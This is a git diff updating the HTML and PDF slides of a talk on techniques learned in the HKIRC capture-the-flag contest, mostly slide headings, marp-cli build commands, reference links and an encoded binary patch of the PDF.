    • Enumerate both widely and deeply.
    • -
    • If you repeat something a lot, consider automating it. You never know when it may come in handy. :) -
        -
      • Downside: (probably) no BD hours.
      • -
      -
    • -
    -
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    -
    +

    Resources

    Techniques

      @@ -328,13 +315,13 @@

      Resources

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Slides are available at: https://trebledj.me/slides/


    Hope you enjoyed!

    Thumbnail +

    Thumbnail npx @marp-team/marp-cli@latest --theme-set nord.css --image jpeg -o from-input-to-injection.jpg . Server @@ -344,8 +331,15 @@

    Resources

    npx @marp-team/marp-cli@latest --theme-set nord.css --html -o 2024-08-14-from-input-to-injection.html --title 'From Input to Injection: Practical Lessons from HKIRC CTF' --description 'Casual sharing on interesting techniques we picked up from HKIRC CTF: arbitrary file reads, PHP parameter tampering, and Python format string injection. We also explore how to automate boolean SQL injection for speed and fun.' --url https://trebledj.me/slides/from-input-to-injection/ --og-image /img/slides/from-input-to-injection.jpg pres.md PDF -npx @marp-team/marp-cli@latest --theme-set nord.css --html -o 2024-08-14-from-input-to-injection.pdf --pdf --allow-local-files .

    <div data-marpit-fragment> +npx @marp-team/marp-cli@latest --theme-set nord.css --html -o 2024-08-14-from-input-to-injection.pdf --pdf --allow-local-files .

    Did I miss anything?

    <div data-marpit-fragment> Reference: [Linux File System - `/proc`](https://tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html) -</div>

    But on a related note...

    PHP types are more brittle than you think.

    References: [Read Gadgets](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/python-internal-read-gadgets) • [Python Format String](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#sensitive-information-disclosure-payloads)

    Django app!

    FrappeFramework: Low code SAAS. Think of it as a CMS.

    Questions!??

    Who has discovered and exploited this in engagements?

    - Ramble

    Walkthrough SQLite Demo:

    - Basic PoC

    - PoC with UNICODE/SUBSTRING

    - PoC with script

    Share about that engagement with multiple subsidiaries.

    \ No newline at end of file diff --git a/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.pdf b/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.pdf index f2474e6cb57f99b6044a86ae376731c96e20e55c..efa40ce3db74f0b27f74022dacf1c6ab3d633aa8 100644 GIT binary patch delta 20959 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 